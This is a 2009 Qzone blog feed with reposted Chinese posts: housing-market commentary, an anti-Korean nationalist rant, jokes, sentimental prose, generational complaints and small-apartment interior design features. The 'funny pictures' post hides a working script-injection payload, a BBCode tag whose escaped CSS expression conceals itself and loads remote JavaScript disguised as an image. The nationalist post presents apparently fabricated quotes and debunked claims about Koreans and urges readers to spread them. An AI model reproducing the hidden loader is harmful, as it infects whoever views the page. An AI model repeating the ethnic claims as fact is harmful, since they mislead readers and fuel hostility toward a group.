http://51273914.qzone.qq.com Fri, 27 Nov 2009 21:31:41 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Thu, 26 Nov 2009 12:46:06 GMT http://51273914.qzone.qq.com/blog/1259239566
活动预告：牛刀小型深度财经、股票、黄金投资讲座定于11月28日在上海举行，现在接受报名。详情请见：我们如何用投资跑赢恶性通胀

你见过在北京二手房成交量一天达到1273套吗？你见过上海十多人抢一套二手房吗？你见过深圳现场拍卖一套二手房价高者得吗？这些都是近来发生的新闻事实。各大媒体，地产新闻铺天盖地，轰炸着城市居民脆弱的心灵，于是，大家一股脑的心甘情愿的唯恐买不到房子似的去抢购二手房。

967套！深圳规划与国土资源委公布的最新数据显示，11月20日深圳二手房单日成交再创历史新高。截止到11月20日，本月深圳二手房成交已超过1万套，而上周4126套的成交量已与年初的月成交量相当。一周的成交量相当于一个月，一天的成交量屡创历史新高，相当于正常情况下4天的成交量。是什么人在哄抢房子？

再来看看北京，来自北京房地产交易管理网最新数据显示，北京二手房近日创下了日均成交一千多套的历史最高纪录。据统计，11月以来，二手房成交量已突破2万套，单日平均成交达1031套，相比以往日均六七百套的成交来说大幅上扬。按照目前发展趋势预测，2009年北京二手房总成交量将突破27万套，超过2006年-2008年三年的总和。二手房市场迎来十多年发展历程上的最“辉煌”的时期。

上海的二手房同样疯狂。二手房市场已超过一手房成为上海楼市成交主力，11月24日，汉宇地产公布的最新统计数据显示，10月份，上海一手房成交量为13195套，而同期二手房成交量为总成交套数达到了21177套，二手房成交量为新房成交量的1.6倍。据统计，10月份整月全市一手商品住宅供应量为128.64万平米（11481套），成交量为150.4万平米（13195套）。两者的差值为21.75万平米（1714套）。

与成交猛增相匹配的是二手房挂牌量的暴增。市场人士认为，北京、深圳、上海一夜之间，到处都是挂牌出售二手房。从上海来说，10月份，二手房成交量的21177套与挂牌量的17549套之间的差距高达3628套，占10月份挂牌总量的21%。但即使是这样，与上海全市截止到11月20日高达77908套的总计可售挂牌量相比，目前的供求缺口消化存量需要21个月以上。

明眼人一看就知道，这是楼市蹦盘前夕，中国楼市炒家大逃亡。炒家逃亡一点也不奇怪，他们已经很清楚这些房价是怎么涨上来的也同样会怎么跌下去。奇怪的是，居然有那么多人在那么高的价位去接盘。据北京多家中介公司统计，11月中上旬京城二手房价已经达到了12435元/平方米，比10月同期上涨超过3%。目前上市的房源中有八成业主直接提价4%以上。不仅如此，成交过程中继续加价的比比皆是。甚至部分业主为了促进成交，直接将市场价提高5万以上挂牌，给购房者留下1万-2万的议价空间。

不得不惊叹中国楼市炒家的谋略，逃亡都如此精彩。也不得不哀叹中国老百姓的悲哀，明明是这么高的房价，却偏偏要去接最后一棒。从击鼓传花的游戏的最后一棒中，我明白了鲁迅先生那句至理名言的真谛了——哀其不幸，怒其不争。

其实仔细一想，这帮楼市炒家没想什么高招，只不过是在媒体四处散播政府优惠政策到头了，通货膨胀就要来了，你看房价一直涨再不买明年还要涨。就是这些，可是，炒家比谁心里都清楚，从澳大利亚加息开始，就已经注定了全球G20国家已经面临退出刺激经济计划的艰难选择，中国央行加息是迟早的事，房价的好日子已经到头了。所以，炒家纷纷大量抛售手中的物业。本来抛售物业是应该降价的，但是，不，就像中国楼市的去库存化，在政府的帮助下偏偏涨价来去库存，结果取得了意想不到的成功。

这就是中国。欧洲许多国家从金融海啸以来，房价下跌了60%，到目前为止，尽管美国楼市连续5个月回升，但是，至今也没有看见异常涨价的迹象。只有中国面对即将到来的危机，国民心态是如此的脆弱。根本用不了多久，一切将真相大白，然而居然有这么多的人走不出黎明前的黑暗。

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]]> http://51273914.qzone.qq.com/blog/1259239566#comment 136315400 Thu, 26 Nov 2009 12:46:06 GMT http://51273914.qzone.qq.com/blog/1259239566 http://51273914.qzone.qq.com/blog/1259232004
















]]> http://51273914.qzone.qq.com/blog/1259232004#comment 134218249 Thu, 26 Nov 2009 10:40:04 GMT http://51273914.qzone.qq.com/blog/1259232004 http://51273914.qzone.qq.com/blog/1258462745 最近在长春的亚冬会短道速滑女子3000米接力决赛中得到亚军的韩国选手，在领奖台上打出了如下标语(图片)，内容为“白头山(指长白山)是我们的土地”


在中国政府要求韩国向中国道歉后，韩国非但没作出诚恳的表态，反倒激起了韩国国内的XXXXX浪潮，甚至有一些人因“东北问题”不满而到中国大使馆门前****中国国旗！








韩国的一位外交官员也发表了言论，下为转贴
〈韩国媒体近期由于“运动会事件”大肆操作。韩国一位外交官员声称：“中国没有理由不尊重韩国，我们比中国要先进至少25－30年。中国侵占白头山问题必须得到解决。”

韩国扑基文汉城中亚问题中心主任说：“这是来自中国的挑衅。对于一次个人事件，中国政府没有必要如此拿出威吓态度。这不是一个和平崛起的大国应该有的表现。我们应该面对这种做法。加紧与台湾合作。只要中国政府不在我们面前低头，那么我们就有理由给予台湾国家地位。”

韩国前陆军官方长官金择民说：中国这样的一个大国面对个人玩笑就这么神经紧张。应该是丝毫没有必要地。如果这样下去，我们就应该把台湾当作国家。与中国开始正面对抗。作为先进的大韩民国不应该惧怕中国的。我们军队完全可以在不常时间内叫中国品尝恶果。
近几年来，韩国因为中国东北的历史问题不断与中国发生分争。韩国人为东北应该是韩国的领土，中国应该在历史上给予承认，并归还长白山。韩国中小学在上世纪90年代就使用歪曲历史的历史教科书，以下是书中插图






书上的描述，整个中国大部分都曾经是高句丽（韩国的一个朝代）的领土
最近，韩国一再在文化上挑衅中国，2005年他们把中国的端午节申报为世界文化遗产，在中国流传2000年的端午节一下子成了韩国人的民族节日，以下是一些列举
1、韩国人向联合国教科文组织为“端午祭”申遗，并且成功。
　　2、韩国人在教科书上宣称韩国祖先“哺育了黄河文明”。
　　3、韩国人入主中原成立商朝。
　　4、韩国人祖先发明了“活字印刷术”。
　　5、韩国人的历史版图包括今天的外蒙古、西伯利亚（高句丽）；东起上海、西至四川、北抵中原、南到海南岛台湾（新罗）；东起日本，西到新疆（百济）；西川以西，南到越南为唐朝。
　　6、韩国人的医学祖先是“神农氏”，中医乃是韩国人发明，为韩医。
　　7、韩国人的医学宝典是《本草纲目》，李时珍是韩国人。
　　8、韩国人的祖先有老子，韩国是道教的起源。
　　9、韩国人的下一个意淫目标---孔子。孔子即将成为韩国人。
　　10、韩国人说“汉城”的中文理解是“汉人的城市”，所以改为“首尔”。
　　11、韩国女人为什么这么漂亮？因为“西施”是她们祖先。
　　12、韩国人最近最近重大考古发现：甲骨文乃韩国人发明。
　　13、韩国人是大禹的老师。
　　14、韩国人教科书坚持称满洲、东北大部、山东半岛大部是韩国历史上固有领土。
　　15、韩国总统世界杯期间宣称，韩国的历史有5000多年历史，渊源流长。
　　以上这些就是韩国对韩国年轻人的教育，看看我们中国，历史教科书改版，不再有朝代更迭等重要内容，全是些黄河文明，艺术发展等，或许多年以后我们中华民族真的变成了没有历史的民族，还不知我们从何处来，将到何处去。
附图







图片标题：“大韩民 国，四大文明的起源。”
　　韩国人的图片上面所写的是这样的：
　　1。 韩国人是起源于中国的新疆或者是巴基斯坦/（大部分在中国境内）
　　2。 后来一支搬到了现在的两伊地区。
　　3。 再后来，两伊地区的一部分又经过红海，到了埃及地区（非洲）
　　4。 像现在的沙特与伊拉克与伊朗都是韩国人的后裔。
　　5。 在搬向两伊地区的时候，有一支小分区到了印度地区！印度也是他们的人。
　　6。 韩国在新疆的祖先后来搬了一部分到了古代的中国地区。甲骨头也是他们发明的。
　　7。 新疆的韩国祖先有一部分直接搬到了沈阳及长白山。
　　8。 还有一部门则搬到了远东俄罗斯。。
　　9。 最后居然是说： 韩国的文明是世界四大古文明之一。
韩国人素来善于意淫，而今妄图把中国文化说成是韩国的繁衍，我们有5000年文明历史的14亿炎黄子孙能答应吗？？？？？！！！！！

韩国不光说，还会做，张衡发明的浑天仪就被引到了最新版的韩币上，是在暗示浑天仪是韩国人的发明



爱国的人们，应该看清韩国的真实面目了，韩国人对中国的歧视十分严重

由于韩国人普遍的偏见，许多韩国人甚至以为中国没有沙发，没有苹果，多么可怕！中国人在韩国受歧视不是个别现象！



实际上，除了美国大兵，韩国有的东西中国都有，甚至包括他们的民族！

在中国政府对5名韩国运动员挑衅一事表态后，韩国一家收容所发生火灾，8名中国人死亡，十几名受伤，初步怀疑是人为纵火，这说明了什么？

无疑，韩国文化对中国有很强的吸引力，韩国人的素质也值得我们崇拜，但这不是哈韩一族疯狂哈韩的理由，作为祖国希望的一代，是否应该看清事实，同仇敌忾？是否应该珍惜传统文化，发扬民族精神？值得我们思考！

中国,你究竟要忍让到几时......

是中国人就给我顶起!!!

欢迎大家转载!!!
不,一定要转,让所有的中国人都看到这下流无耻的一幕!! ]]> http://51273914.qzone.qq.com/blog/1258462745#comment 142606857 Tue, 17 Nov 2009 12:59:05 GMT http://51273914.qzone.qq.com/blog/1258462745 http://51273914.qzone.qq.com/blog/1258458229 新婚之夜的洞房里，他们深情款款地替对方宽衣解带。

新郎说：“咱们既然做了夫妻，就该以诚相待。我有几个小秘密要告诉你，请你不要吃惊。”
新娘风情万种地浅浅一笑：“谁没有几个小秘密呀。既然你能把隐私告诉我，我也决定把我的小秘密告诉你。”
新郎用手抓下了头顶上的发套，对新娘说：“其实我已经秃顶了……”
没想到新娘把一头长发也随手摘了下来：“这有什么大惊小怪的，我生来就是全秃的 ……”

一见新郎盯着自己的秃头发愣，新娘主动坦白：“你看我的双眼皮漂亮吗？其实是人工割的……”
新郎却毫不吃惊：“这不算什么，你看我的左眼……” 他边说边把自己的左眼球从眼眶里取了出来，原来他的左眼是假的

新郎接着说：“不但我的左眼，我的牙也是假的……”
新娘不以为然：“不要紧，我的鼻子隆过五回了…… ”
新郎说：“不瞒你说，我脸上的皱纹是做的；

新娘欲言又止，过了一会儿才说：“我也不瞒你了，其实我这漂亮的脸蛋是整了八次容才整成这样的…”
新郎边脱上衣边说：“我的心脏可是靠起搏器维持跳动的……”
新娘也脱下乳罩：“我是做了隆胸手术后才这么丰满的……”

新郎的动作慢下来：“既然你这么坦白，我把我最大的秘密告诉你吧—— 由于经济危机爆发，我已经快破产了……”
新娘也象下了最大的决心：“本来我不想让人知道，但你对我这么好，我就告诉你好啦——其实我原来不是女人，我是做了变性手术的……”

“太好了！”新郎兴奋得叫起来，边说边扒掉自己的表皮，露出里面黑乎乎的毛 ，他紧紧搂着新娘：“亲爱的，别看我平时像个人样，其实我是一只猩猩，你跟我回到森林去生活吧。。。。。。。”

新娘说:“讨厌.人家想要孩子嘛，我不能生怎么办?“

新郎说:“那好办!看了我的日志要不转载都是咱孩子，一块带回森林去养吧...”挖哈哈哈 咔咔咔咔。。。 。。。 ]]> http://51273914.qzone.qq.com/blog/1258458229#comment 142607880 Tue, 17 Nov 2009 11:43:49 GMT http://51273914.qzone.qq.com/blog/1258458229 http://51273914.qzone.qq.com/blog/1258369744 有一种心情叫失落，有一种美丽叫放弃；
　　
　　一次默默的放弃，放弃一个心仪却无缘份的朋友；
　　
　　放弃某种投入却无收获的感情；
　　
　　放弃某种心灵的期望；放弃某种思想

心里生出一种伤感，然而这种伤感并不妨碍自己去重新开始，
　　
　　在新的时空内将音乐重听一遍，将故事再说一遍！
　　
　　因为这是一种自然的告别与放弃，它富有超脱精神，因而伤感得美丽！

曾经有种感觉，想让它成为永远。
　　
　　过了许多年，才发现它已渐渐消逝了。
　　
　　才知道原来握在手里的，不一定就是我们真正拥有的；
　　
　　我们所拥有的，也不一定就是我们真正铭刻在心的！

人生很多时候需要自觉的放弃，
　　
　　因为世间还有太多美好的事物。
　　
　　对没有拥有的美好，
　　
　　我们一直在苦苦的向往与追求

为了获得，而忙忙碌碌。
　　
　　其实自己真正所需要的，
　　
　　往往要在经历许多年后才会明白。
　　
　　而对已经拥有的美好，
　　
　　我们又因为常常得而复失的经历，
　　
　　而存在一份忐忑与担心

夕阳易逝的叹息、花开花落的烦恼、人生本是不快乐的！
　　
　　因为拥有的时候，我们也许正在失去，
　　
　　而放弃的时候，我们也许又在重新获得

对万事万物，我们都不可能有绝对的把握。
　　
　　刻意去追逐与拥有，就很难走出患得患失的误区。
　　
　　生命需要升华出安静超然的精神，
　　
　　明白的人懂得放弃，真情的人懂得牺牲，幸福的人懂得超脱。
　　
　　虽然我不是因你而来到这个世界，却因你而更加眷恋这个世界！

如果能和你在一起，我会对这个世界满怀感激；
　　
　　如果不能和你在一起，我会默默的走开，
　　
　　却仍然不会失掉对这个世界的爱和感激。
　　
　　感激上天让我与你相遇与你别离，完成上帝所创造的一首诗！
　　
　　生命给了我们无尽的悲哀，也给了我们永远的答案。
　　
　　于是，安然一份放弃，固守一份超脱

不管红尘世俗的生活如何变迁，
　　
　　不管个人的选择方式如何，
　　
　　更不管握在手中的东西轻重如何，
　　
　　我们虽逃避也勇敢，虽伤感也欣慰！
　　
　　我们像往常一样向生活的深处走去，
　　
　　我们像往常一样在逐步放弃，又逐步坚定

人生是一连串的选择所组成的，

每一次的选择都是人生的一次考验，

也许更加的成长，也许更堕落， ]]> http://51273914.qzone.qq.com/blog/1258369744#comment 12 Mon, 16 Nov 2009 11:09:04 GMT http://51273914.qzone.qq.com/blog/1258369744 http://51273914.qzone.qq.com/blog/1258369713 90后80后70后60后50后的无奈

90后的无奈：

当我们出生的时候，奶粉里都有毒了，
当我们长身体的时候，只能吃垃圾食品了，
当我们要上幼儿园的时候，开始乱收费了，
当我们大学毕业的时候，毕业就是失业了，
当我想努力赚钱的时候股市倒了，
当我想努力谈恋爱的时候帅哥都成GAY了，
当我想追求一切流行的时候，又开始非主流了！
　　
80后的无奈：
当我们读小学的时候，读大学不要钱；
我们要读大学的时候，读小学不要钱；
我们还没能工作的时候，工作也是分配的；
我们可以工作的时候，撞得头破血流才勉强找份饿不死人的工作做；
当我们不能挣钱的时候，房子是分配的；
当我们能挣钱的时候，却发现房子已经买不起了；
当我们没有进入股市的时候,傻瓜都在赚钱；
当我们兴冲冲地闯进去的时候,才发现自己成了傻瓜；
当我们不到结婚的年龄的时候骑单车就能娶媳妇；
当我们到了结婚年龄的时候没有洋房汽车娶不了媳妇；
当我们没找对象的时候，姑娘们是讲心的；
当我们找对象的时候，姑娘们是讲金的；
当我们没找工作的时候，小学生也能当领导的；
当我们找工作的时候，大学生也只能洗厕所的；
当我们没生娃的时候，别人是可以生一串的；
当我们要生娃的时候，谁都不许生多个的。
　　
70后的无奈：
当我们出生的时候，奶粉买不到；
当我们长身体的时候，吃肉要靠票；
我们需要信仰的时候，信仰崩溃了；
我们需要理想的时候，理想泯灭了；
我们需要精神鼓励的时候，我们被物欲世界包围了；
当我们要买房子的时候，福利房没有了；
我们要上大学的时候，大学生贬值了；
当我们大学毕业的时候，工作要靠自己找了；
我们要谈恋爱的时候，爱情也变成钱情了；
当我们生小孩的时候，小孩只能要一个了；
当我们要孝敬老人的时候，我们上面有六个老人。
　　　　　　
60后的无奈：
当我们出生的时候，赶上了三年自然灾害；
当我们需要读书的时候，赶上了文化大革命；
当我们需要就业的时候，赶上了裁员；
当我们要养家的时候，国营卖掉；
当我们需要生育的时候，国家只让生一个；
我们教育子女的时候，碰上了会说"外星文"的90后；
当我们需要人照顾的时候，碰上了只会让人照顾的90后。
　　　　　　
50后的无奈：
当我们出生的时候，新中国还没有个样儿；
当我们长身体的时候，饿得"三根筋挑着一个头"；
当我们需要上幼儿园的时候，只能跟着父母到田头；
当我们长身体的时候，碰上了"三年困难时期"；
当我们上小学的时候，小学生都是大知识分子；
当我们上中学的时候，赶上了大串联；
当我们正上学的时候，碰上了"文化大革命"，
我们该工作的时候，碰上了上山下乡，
当我们谈恋爱的时候，还只能靠介绍；
当我们结婚的时候，只能两张床一并靠；
当我们工作正起劲的时候，碰上了下岗；
当我们老了想享享福的时候，碰上了啃老的80后
]]> http://51273914.qzone.qq.com/blog/1258369713#comment 134218248 Mon, 16 Nov 2009 11:08:33 GMT http://51273914.qzone.qq.com/blog/1258369713 http://51273914.qzone.qq.com/blog/1258204036

[转]很搞笑的图片　哦！

[转]很搞笑的图片　哦！

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://51273914.qzone.qq.com/blog/1258204036#comment 16905 Sat, 14 Nov 2009 13:07:16 GMT http://51273914.qzone.qq.com/blog/1258204036 http://51273914.qzone.qq.com/blog/1258118826 58平方米——SOHO一族的酷酷安乐窝

雅室档案——
使用面积：53平米
户型特点：一室一厅一卫
装修风格：简洁
居住人口：年轻soho夫妇
工程造价：3万元（不含主材）
工程工期：2个月
主要饰材：墙面：真石漆、壁纸
地面：金属铀面砖、石塑地板、木地板
顶面：防水石膏板
SOHO一族的酷酷安乐窝
这个独特的案例是为一对年轻的soho人士设计的：男主人是影视制作高手，平时喜欢收藏变形金刚、限量版的可口可乐瓶，以及各种影视海报，还是一个电子乐的爱好者兼DJ；女主人从事动漫设计工作，满墙的娃娃都是她的最爱。
在为这样的业主进行空间考量时，设计师面对的房子却是1897年的老建筑，比业主小不了太多。因此，空间的重新划分是必须的：
首先，设计师把改造重点放在休闲及工作区域上，必须满足两位业主在家工作的需求。在此基础上，可以弱化就餐区域，因为业主在家做饭和吃饭的次数不多。最后，设计师还要帮业主好好扩展卫生间的舒适性及便利性。
　　在室内装饰上，设计师更多的使用了黑色和白色，来做为整个住宅的基调：餐厅黑色的金属釉面砖，以及客厅里黑色仿钢板的石塑地板，以及所有墙面都采用的白色真石漆，使原本对比强烈的黑白两色中有了丰富的视觉变化。
　　考虑到此案的实用性，在整体色彩搭配中，设计师运用了红色作为点缀色出现，使整个冷酷的空间里萌发了生机。白色的家具与白色的墙面融为一体，使本来狭小的空间因整齐而显得宽敞。
　　卧室的古典窗花壁纸的选择，在整体风格统一的前提下“软化”了休憩空间。而客厅与卧室的转门，则增加了整个空间的趣味性。
　　在家具的选择上，设计师选择了简约的北欧风格款式，更加符合业主对时尚、现代的需求。



















45平方——珠宝设计师的专属空间

雅室档案——
使用面积：45平方米
户型特点：零居
装修风格：地中海风格
居住人口：珠宝女设计师
工程造价：8万（含主材、家具、软装）
工程工期：50天
主要饰材：墙面：石材马赛克、砖片、曲柳擦色
地面：复古手工砖
顶面：乳胶漆、木梁

珠宝设计师的专属空间
这套面积仅有45平方米的小户型，属于一位从事珠宝设计的女孩——丹丹。在与设计师充分交流的时候，她最终把空间的主题格调定在明快而舒适的地中海风格上。（图1）由于工作繁忙，丹丹“扬言”：只要家好看、我能接受、施工的过程也不要我多操心，怎么装都行！
话虽然这样说，但是设计师却一点也不敢懈怠，在充分了解了丹丹的需求之后，为这个小空间定下了几点整体设计方针：
1、 由于房子本身不大，所有的功能性分区又都是必不可少的。设计师没有对空间做硬性的分隔，而是让所有分区都和谐的“相处”在一个大空间里； （图2）
2、 设计师选择了白色为基调的地中海风格。纯白的空间视觉感受，使空间显得更加宽敞，而局部的艳色处理，让空间的功能分区更加明确，也让视觉感受更加丰富和细腻；（图3）
3、为了让空间更显柔和而舒适，设计师在很多局部采用了曲线的设计。这些无处不见的柔软曲线，更符合女主人的身份和使用需求； （图4）
在设计师的3点整体规划下，丹丹的家就象一个精致的戏剧小品，每个角落就经过设计师和主人共同的精心搭配和布置。丹丹的家空间虽然不大，景致却也不少。移步换景的设置，使人也就不觉得空间狭小了。
整个空间的核心，是一个兼做沙发和工作间、书柜、娱乐功能为一体的地台。设计师特别做了一个高出地面的设计，让这个分区更加显得重要。（图5、图6）
另外，设计师为了分隔功能性分区，保留一定的私密性，在空间当中设置了很多帷幕和纱帘。飘逸的布艺产品不仅分开了各个功能性分区，更给空间平添了不少女性的温柔气息。（图7）
最后值得一提的是，由于丹丹不喜欢把空闲时间浪费在看电视上，所以设计师根本没有专门设计常见的电视背景墙等，只是空间的一个角落悬挂了一个小小的液晶电视。






















43平方米——两人世界因独特而精彩

雅室档案——
使用面积：43平方米
户型特点：零居
装修风格：现代主义
居住人口：夫妻金融工作者
工程造价：5万元（不包括电器）
工期：2个月
主要饰材：墙面：陶土砖片
地面：复合地板、地砖
顶面：乳胶漆
二人世界：因独特而精彩
　　业主咪咪和小臭完全颠覆了我们对家的认识，他们的小家纯粹是为小两口自己生活而设置。待客、留宿统统没有考虑，关起门来就是纯粹自我的空间。用他们自己的话来说就是：二人世界，只为二人考虑。设计师在这种需求之下，给两位业主打造了一个只属于他们两个人的空间。（图1、2、3、4）
　　
　　私密 可隐可现的浴室
　　女主人咪咪喜欢泡澡，喜欢到了每天都要根据心情的不同更换浴盐的程度。一天不泡澡好像日子还没有过完，一身的疲乏总是卸不掉，心情也轻灵不起来。原来的房型卫浴间只有小小的3平方米，只够安淋浴。打造这个家的时候，第一要素就是要满足咪咪天天泡澡的要求。
　　浴室要大、要舒服，在泡澡的时候能够不影响另一口子洗澡，原有的卫浴空间肯定需要扩大。小两口和设计师一起，把洗手间的厕卫、沐浴、洗漱三项功能独立分置到三个空间之内，原有的小洗浴间再次缩小，成为单独厕卫之所；洗手台采取时髦的外置方式，镜子和保养品不会被水汽浸润；淋浴和盆浴合为一个空间之内，充分保证了每个功能的舒适纯粹。
　　二人世界里不用考虑遮挡，为什么没有选择开放式浴室呢？小两口在这一点上倒是意见一致：好看是好看了，前卫够前卫，就是不够方便卫生，尤其是对于家里有个泡澡狂人来说更不现实。所以牺牲小空间采用玻璃围挡，浴缸处半透明的罗马帘可收可放，更多为了增添情趣，而非私密考虑。（图5、6、7）
　　
　　私藏 藏物空间大大有
　　小房子要实现卧室、书房、洗浴、厨房、工作室、影音休闲等诸多功能，又要不显乱，如何最大限度地利用空间做收纳的确很让人费思量。除了利用电视主题墙的储藏柜外，咪咪还另外开辟了两个好地方。
　　一是在浴室和洗手池的中间，利用类似走廊的空间封死加门，一米的宽度用来放置当季衣物和鞋子，衣柜的对面则是一扇穿衣镜。小衣帽间和浴室之间用玻璃门隔开，不会让水汽透过。第二则是利用自家放置床垫的地方。为了节省空间他们没有用床，而是采用了类似塌塌米的40厘米高台上单置床垫的方法，地台呈“凹”字形，凹进去的那一块用来放置沙发，而突出的两翼是可以拉出来的大抽屉，放书、杂物、影碟或者小零食取放都十分方便。
　　除了收纳，小两口还在床的上方开辟了五个展示龛摆放的是他们搜集来的印章石，个个都是私藏的宝贝。（图8）
　　一道纱帘隔开了娱乐和休憩区域，改电视主题墙为主题柜，成为家里最大的收纳空间。沙发扶手旁就是收纳的地方。
　　
　　私人 细节让家人性化
　　咪咪家的床台高40厘米，在床的靠窗一边设置了一长条书桌，在台上放个软垫就能很舒服地上网。书桌的另一边在床台下，坐上一把平常高度的椅子刚好可以舒服地在书桌上写作。第一次看到的时候真是不禁为这个设计叫绝，既节省空间，又能够让主人随自己喜欢的姿势来使用。（图9）
　　这样的细节在小家里到处可见。一进门左手边有一块挂在墙上的隔板，平日里收起来，逢到签收快件、雨天放伞等需要的时候就可以随时放下。女主人还喜欢在上面收掇一下蔬菜，作为临时备餐台。咪咪在旁边摆了一把高脚的吧台椅，看来偶尔夜阑人静自己小酌一杯也是个好去处。
　　浴室用玻璃围挡之后，边角四方方显得突兀尖锐。咪咪顺着边沿用木板做了一个圆角的小桌，不大不小刚够两人平时吃饭用。每逢说其这个设计女主人总是十分得意。（图10）
　　而抽油烟机也是她的得意之选。咪咪家没有在厨房单独铺设易清洁的瓷砖，只是在木地板上铺了一块线毯来阻隔污物；平时偶尔露两手的时候，她精选的超强吸力烟机就派上大用场，基本可以做到不外渗的效果。虽然价格贵了些，不过相信热爱下厨的又不愿意在菜油味儿中睡觉的话，这倒真是个简单易行的选择方法。
　　
　　私有 有遮挡也有情趣
　　咪咪家的小房子呈长方形，只有一扇大窗户可以采光。一入房门就会直接看到正对的窗户，休憩和休闲的区域也一览无遗。虽然两个人可以不讲究遮避，不过开门见山也未免少了些美感。
　　在沙发位置的地台旁边增加一根立柱成了他们俩在家里营造曲径通幽氛围的法宝。它不仅区隔了休憩和休闲的区域，扁扁的形状放上搁板就成了另外一个展示空间；有了这根柱子，方正的小房子也有了层次，更让分隔休息和休闲区域的纱帘有了延伸的依靠。



















29平方米 老旧小空间 巧做新文章

雅室档案——
使用面积：29平米
户型特点：旧房改造
装修风格：东南亚
居住人口：年轻夫妇
工程造价：1.6万元
工程工期：2个月
主要饰材：墙面：墙漆
地面：板岩
顶面：漆

老旧小空间 巧做新文章
　　目前，许多准备结婚的年轻人，由于过高的商品房价格，都纷纷把目光转向了相对便宜的二手房。但是由于建筑比较陈旧，很多二手房的户型不仅很狭小，而且布局非常不合理。
　　本套案例就是非常明显的一个例子：套内面积只有29平方米，而且除了卫生间隔墙外，全为承重墙根本无法改变格局。
这套房子的新主人，是一对即将结婚的年轻人，这套房子也将做为新婚的婚房。在要求满足基本的使用功能外，主人还希望能利用装修体现出“青春而不失沉稳，简洁而不失温馨”的风格。
　　由于使用面积很小，设计师在与业主充分交流之后，首先考虑的是空间的格局如何铺排。设计师的整体思路是，尽量使每个功能区之间都可以相互“借用”空间，且不做任何实体性的功能分割，为此，设计师使出了三招“锦囊妙计”：
　　首先，设计师打掉原进入户门的一道门连窗及窗下的墙体，并利用窗旁的部分承重墙和上面的混凝土梁，做成了一道弧型哑口，使餐厅与起居室保持通透的同时，增加了餐厅采光和整体空间的通透性；（图3）
　　第二，设计师拆掉了改掉原阳台的门连窗，把阳台的面积有效的利用起来，成为室内空间的一个有机组成部分，用一种户外使用的防腐木，做成一个用地台进行区分的小小休闲区；（图4）
　　第三，在起居室和卧室之间，设计师安排了一个半通透的隔断，用来区分出起居室和卧室的功能分区，同时也保证了卧室具有一定的私秘性；（图5）
　　在小空间住宅的室内设计当中，储物空间是必不可少且最难安排的。设计师为了能充分利用空间，且让小小的空间显得更为整洁，就在卧室、起居室及餐厅的一侧，整体规划出一组巨大的储物柜，来满足业主的存储需求。（图6）设计师还在衣柜内的一侧，用板式家具做出一个小的工作区，外面是与衣柜门相同的推拉门。在业主不使用书桌的时候可将推拉门合上，隐藏工作区，使房间保持整洁。（图7）
　　很多人都以为，小空间用不着设计师在风格方面做文章了：空间都不够用，哪里来的地方体现风格呢？
　　其实这种想法也不尽然，设计师在这个户型的处理上，就结合了业主的要求，巧妙的把一些东南亚装饰风格元素，完美的融进了这个小户型：普遍使用的柚木色使空间显得非常舒适而别具特色，局部的植物壁纸也给空间增色不少















37平方米的精彩

雅室档案——
使用面积：37平米
户型特点：小居室
装修风格：东南亚风格
居住人口：单身女性
工程造价：2万（不含主材）
工程工期：50天
主要饰材：墙面：墙漆
地面：地砖
顶面：顶漆
37平方米的精彩

在一个只有37平方米的空间里，既要满足主人所有的使用要求，还要摆放下她在泰国生活所留下的积累：床、木马、佛像……最重要的，还要有非常出众的装饰效果。这三条要求，确实给了设计师很大的压力。经过充分的沟通，设计师对这个小空间做了如下的改变：
37平米小空间要兼顾主人生活使用的多功能性和满足主人(黄小姐)个性与对家的点滴梦想，的确是次要动脑子的设计构思，从最早的空间布置改造到后期的色彩与家俱款式搭配。
黄小姐家设计与以往的设计程序上有所不同.可谓是常规与逆向的结合，其中的逆向是同为房主在泰国生活的部分积累，床、木马、佛像……都是房主希望在这次设计当中充分利用并得以切合搭配的配饰品，这作为设计师来讲的我便要逆向反位思考，在怎样的空间与风格色调，才是其最切合的环境。
由此大色调与风格也已其本定位。
其次，是细节的修饰，空间的兼用，又如处理空间的手法给予人的心理感受，也是设计师充分把握的。
入门玄关处，空间狭小，给予隐藏更衣柜镜子饰面，即满足功能的同时，也解决了狭小空间给人的拥挤感。
外置水盆，吧台专门定制的吧椅，更是在有效利用的同时赋予空间风格以灵性。
开放式厨房，其稳重的咖啡，洁净的白色与艳丽的红紫结合泰式的床榻，犹如一阵东南亚的异域之风……















设计师的专属空间


这是设计师自己的家，当然在设计上会特别精彩啦。设计师在给自己打造居住空间的时候，只有一个想法，就是“只要是自己想要的，就是对的”，平日里天马行空的设计思路，终于有了一个不受任何束缚的实现空间。
由于面积有限，设计师在功能性分区方面，也着实下了一番“闪展腾挪”的功夫：
首先，为了节约空间和方便使用，设计师把卫生间的面积缩小了，将洗手台放在了卫生间的外面。
为了方便下厨，设计师还把厨房做了一些调整：开放式的厨房分为两部分，平时工作忙的时候主要使用开放式的西餐厨房部分、做一些简单的食物，有时间的时候主人就可以在封闭的中厨里大展身手一番。
最后，设计师将阳台的面积也利用起来，打开后做了一个休闲区。
在风格把握方面，设计师比较钟爱浓郁的东南亚情调和传统的民族风情，于是便把这两种看似风马牛不相及的风格综合在一起，形成了一种独特的装饰效果。
在材质方面，设计师好像更喜欢天然质感的东西，例如原木、红砖以及石头等，在空间当中都随处可见。
浓重的色彩是这套方案中最值得一提的地方，按说小空间里使用浓重的色彩，会很容易让空间显得更加窘迫、给人压抑的感觉，但在设计师的巧妙安排下，合理的采光和照明设计打破了这个规律，让小空间也浓墨重彩的漂亮起来。
图注：
1、设计平面图
2、大门和外置洗手台：一扇饱经沧桑的木门隔离了喧嚣的世界，外置的洗手台在空间内酷感十足；
3、多功能地台：这个地台既是会客区，也是工作间，还是储物的地方，如果需要的话，还能招待客人过夜；
4、厨房和餐台：一组实木质感的厨柜和餐台相得益彰，彩绘玻璃门外是一个功能性的小阳台；
5、床头与储物柜：一个人住就没必要做那么多隔断了吧，卧床和地台之间的纱帘就足以区分空间了；
6、卫生间：材料质感丰富的卫生间，有一扇大镜子做为推拉门，真是一个实用又讨巧的设计方式；
雅室资料：
使用面积：50平米
户型特点：零居
装修风格：东南亚
居住人口：1人
工程造价：6万
